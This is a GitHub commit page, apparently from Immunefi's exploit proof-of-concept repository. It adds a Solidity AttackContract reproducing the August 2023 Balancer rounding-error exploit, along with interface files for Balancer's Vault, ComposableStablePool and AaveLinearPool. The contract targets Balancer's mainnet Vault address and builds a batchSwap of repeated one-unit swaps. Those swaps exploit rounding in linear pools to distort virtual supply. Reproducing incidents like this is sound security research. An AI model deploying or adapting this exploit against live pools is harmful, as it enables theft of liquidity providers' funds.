Skip to content

Commit

Permalink
Added Balancer rounding error
Browse files Browse the repository at this point in the history
  • Loading branch information
alejandro-immunefi committed Oct 2, 2023
1 parent df37b3c commit d5d1f2c
Show file tree
Hide file tree
Showing 9 changed files with 569 additions and 4 deletions.
146 changes: 146 additions & 0 deletions src/Balancer/rounding-error-aug2023/AttackContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "@immunefi/PoC.sol";
import "./interfaces/Vault.sol";
import "./interfaces/ComposableStablePool.sol";
import "./interfaces/AaveLinearPool.sol";

contract AttackContract is PoC {
address vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;

struct Balances {
uint256 totalInitialUsd;
uint256 finalBalance;
uint256 usdcFinalBalance;
uint256 daiFinalBalance;
uint256 usdtFinalBalance;
uint256 stgFinalBalance;
}

function getParameters(
address pool,
address asset,
address wrappedToken,
Vault.FundManagement memory funds,
address[] memory assets,
int256[] memory,
/**
* limits
**/
uint256 steps
) public returns (Vault.BatchSwapStep[] memory) {
bytes32 poolId = ComposableStablePool(pool).getPoolId();
// To generalize the exploit, we need to get everything into one batchSwap
// First step, if there's no enough wrapped token in the pool, we want to
// swap "to" the bpt token "from" wrapped token. In this case, we don't need
// to interact with the wrapped token itself.
// Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](0);

uint256 wrappedTokenBalance = getTokenBalance(pool, wrappedToken);
uint256 newWrappedTokenBalance;
if (wrappedTokenBalance < 1 ether) {
Vault.BatchSwapStep[] memory _swaps = new Vault.BatchSwapStep[](1);
_swaps[0] =
Vault.BatchSwapStep({poolId: poolId, assetInIndex: 2, assetOutIndex: 0, amount: 1 ether, userData: ""});
int256[] memory output = Vault(vault).queryBatchSwap(uint8(Vault.SwapKind.GIVEN_OUT), _swaps, assets, funds);
newWrappedTokenBalance = uint256(output[2]);
}
uint256 assetTokenBalance = getTokenBalance(pool, asset);

Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](steps + 5);

swaps[0] = Vault.BatchSwapStep({
poolId: poolId,
assetInIndex: 2,
assetOutIndex: 0,
amount: 1 ether, // assume no lower targets
userData: ""
});

swaps[1] = Vault.BatchSwapStep({
poolId: poolId,
assetInIndex: 0,
assetOutIndex: 1,
amount: assetTokenBalance, // assume no lower targets
userData: ""
});

swaps[2] = Vault.BatchSwapStep({
poolId: poolId,
assetInIndex: 0,
assetOutIndex: 2,
amount: newWrappedTokenBalance - steps * 20, // assume no lower targets
userData: ""
});

for (uint256 i = 0; i < steps; i++) {
swaps[i + 3] =
Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: 1, userData: ""});
}

swaps[steps + 3] = Vault.BatchSwapStep({
poolId: poolId,
assetInIndex: 1,
assetOutIndex: 0,
amount: getVirtualSupply(pool),
userData: ""
});

swaps[steps + 4] =
Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: steps * 19, userData: ""});

return swaps;
}

function getTokenBalance(address pool, address token) public view returns (uint256 balance) {
bytes32 poolId = ComposableStablePool(pool).getPoolId();
(address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId);
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i] == token) {
return balances[i];
}
}
}

function getVirtualSupply(address pool) public view returns (uint256) {
uint256 totalSupply = IERC20(pool).totalSupply();
bytes32 poolId = ComposableStablePool(pool).getPoolId();
(address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId);

for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i] == pool) {
return totalSupply - balances[i];
}
}
return 0;
}

function swapDecrease(address pool) public {
address wrappedToken = AaveLinearPool(pool).getWrappedToken();
address asset = AaveLinearPool(pool).getMainToken();

Vault.FundManagement memory funds;
address[] memory assets = new address[](3);
int256[] memory limits = new int256[](3);
{
funds.sender = address(this);
funds.fromInternalBalance = false;
funds.recipient = address(this);
funds.toInternalBalance = false;

assets[0] = pool;
assets[1] = asset;
assets[2] = wrappedToken;

limits[0] = 2 ** 128;
limits[1] = 2 ** 128;
limits[2] = 2 ** 128;
}

uint256 steps = 20;
Vault.BatchSwapStep[] memory swaps = getParameters(pool, asset, wrappedToken, funds, assets, limits, steps);

Vault(vault).batchSwap(Vault.SwapKind.GIVEN_OUT, swaps, assets, funds, limits, block.timestamp);
}
}
109 changes: 109 additions & 0 deletions src/Balancer/rounding-error-aug2023/interfaces/AaveLinearPool.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
pragma solidity ^0.8.10;

interface AaveLinearPool {
event Approval(address indexed owner, address indexed spender, uint256 value);
event PausedStateChanged(bool paused);
event RecoveryModeStateChanged(bool enabled);
event SwapFeePercentageChanged(uint256 swapFeePercentage);
event TargetsSet(address indexed token, uint256 lowerTarget, uint256 upperTarget);
event Transfer(address indexed from, address indexed to, uint256 value);

struct SwapRequest {
uint8 kind;
address tokenIn;
address tokenOut;
uint256 amount;
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}

function DOMAIN_SEPARATOR() external view returns (bytes32);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint8);
function decreaseAllowance(address spender, uint256 amount) external returns (bool);
function disableRecoveryMode() external;
function enableRecoveryMode() external;
function getActionId(bytes4 selector) external view returns (bytes32);
function getAuthorizer() external view returns (address);
function getBptIndex() external view returns (uint256);
function getDomainSeparator() external view returns (bytes32);
function getMainIndex() external view returns (uint256);
function getMainToken() external view returns (address);
function getNextNonce(address account) external view returns (uint256);
function getOwner() external view returns (address);
function getPausedState()
external
view
returns (bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime);
function getPoolId() external view returns (bytes32);
function getProtocolFeesCollector() external view returns (address);
function getRate() external view returns (uint256);
function getScalingFactors() external view returns (uint256[] memory);
function getSwapFeePercentage() external view returns (uint256);
function getTargets() external view returns (uint256 lowerTarget, uint256 upperTarget);
function getVault() external view returns (address);
function getVirtualSupply() external view returns (uint256);
function getWrappedIndex() external view returns (uint256);
function getWrappedToken() external view returns (address);
function getWrappedTokenRate() external view returns (uint256);
function inRecoveryMode() external view returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function initialize() external;
function name() external view returns (string memory);
function nonces(address owner) external view returns (uint256);
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory, uint256[] memory);
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory, uint256[] memory);
function onSwap(SwapRequest memory request, uint256[] memory balances, uint256 indexIn, uint256 indexOut)
external
returns (uint256);
function pause() external;
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
external;
function queryExit(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptIn, uint256[] memory amountsOut);
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptOut, uint256[] memory amountsIn);
function setAssetManagerPoolConfig(address token, bytes memory poolConfig) external;
function setSwapFeePercentage(uint256 swapFeePercentage) external;
function setTargets(uint256 newLowerTarget, uint256 newUpperTarget) external;
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function unpause() external;
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
pragma solidity ^0.8.10;

interface ComposableStablePool {
event AmpUpdateStarted(uint256 startValue, uint256 endValue, uint256 startTime, uint256 endTime);
event AmpUpdateStopped(uint256 currentValue);
event Approval(address indexed owner, address indexed spender, uint256 value);
event PausedStateChanged(bool paused);
event ProtocolFeePercentageCacheUpdated(uint256 indexed feeType, uint256 protocolFeePercentage);
event RecoveryModeStateChanged(bool enabled);
event SwapFeePercentageChanged(uint256 swapFeePercentage);
event TokenRateCacheUpdated(uint256 indexed tokenIndex, uint256 rate);
event TokenRateProviderSet(uint256 indexed tokenIndex, address indexed provider, uint256 cacheDuration);
event Transfer(address indexed from, address indexed to, uint256 value);

struct SwapRequest {
uint8 kind;
address tokenIn;
address tokenOut;
uint256 amount;
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}

function DELEGATE_PROTOCOL_SWAP_FEES_SENTINEL() external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint8);
function decreaseAllowance(address spender, uint256 amount) external returns (bool);
function disableRecoveryMode() external;
function enableRecoveryMode() external;
function getActionId(bytes4 selector) external view returns (bytes32);
function getActualSupply() external view returns (uint256);
function getAmplificationParameter() external view returns (uint256 value, bool isUpdating, uint256 precision);
function getAuthorizer() external view returns (address);
function getBptIndex() external view returns (uint256);
function getDomainSeparator() external view returns (bytes32);
function getLastJoinExitData()
external
view
returns (uint256 lastJoinExitAmplification, uint256 lastPostJoinExitInvariant);
function getMinimumBpt() external pure returns (uint256);
function getNextNonce(address account) external view returns (uint256);
function getOwner() external view returns (address);
function getPausedState()
external
view
returns (bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime);
function getPoolId() external view returns (bytes32);
function getProtocolFeePercentageCache(uint256 feeType) external view returns (uint256);
function getProtocolFeesCollector() external view returns (address);
function getProtocolSwapFeeDelegation() external view returns (bool);
function getRate() external view returns (uint256);
function getRateProviders() external view returns (address[] memory);
function getScalingFactors() external view returns (uint256[] memory);
function getSwapFeePercentage() external view returns (uint256);
function getTokenRate(address token) external view returns (uint256);
function getTokenRateCache(address token)
external
view
returns (uint256 rate, uint256 oldRate, uint256 duration, uint256 expires);
function getVault() external view returns (address);
function inRecoveryMode() external view returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function isExemptFromYieldProtocolFee() external view returns (bool);
function isTokenExemptFromYieldProtocolFee(address token) external view returns (bool);
function name() external view returns (string memory);
function nonces(address owner) external view returns (uint256);
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory, uint256[] memory);
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory, uint256[] memory);
function onSwap(SwapRequest memory swapRequest, uint256[] memory balances, uint256 indexIn, uint256 indexOut)
external
returns (uint256);
function pause() external;
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
external;
function queryExit(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptIn, uint256[] memory amountsOut);
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptOut, uint256[] memory amountsIn);
function setAssetManagerPoolConfig(address token, bytes memory poolConfig) external;
function setSwapFeePercentage(uint256 swapFeePercentage) external;
function setTokenRateCacheDuration(address token, uint256 duration) external;
function startAmplificationParameterUpdate(uint256 rawEndValue, uint256 endTime) external;
function stopAmplificationParameterUpdate() external;
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function unpause() external;
function updateProtocolFeePercentageCache() external;
function updateTokenRateCache(address token) external;
function version() external view returns (string memory);
}
Loading

0 comments on commit d5d1f2c

Please sign in to comment.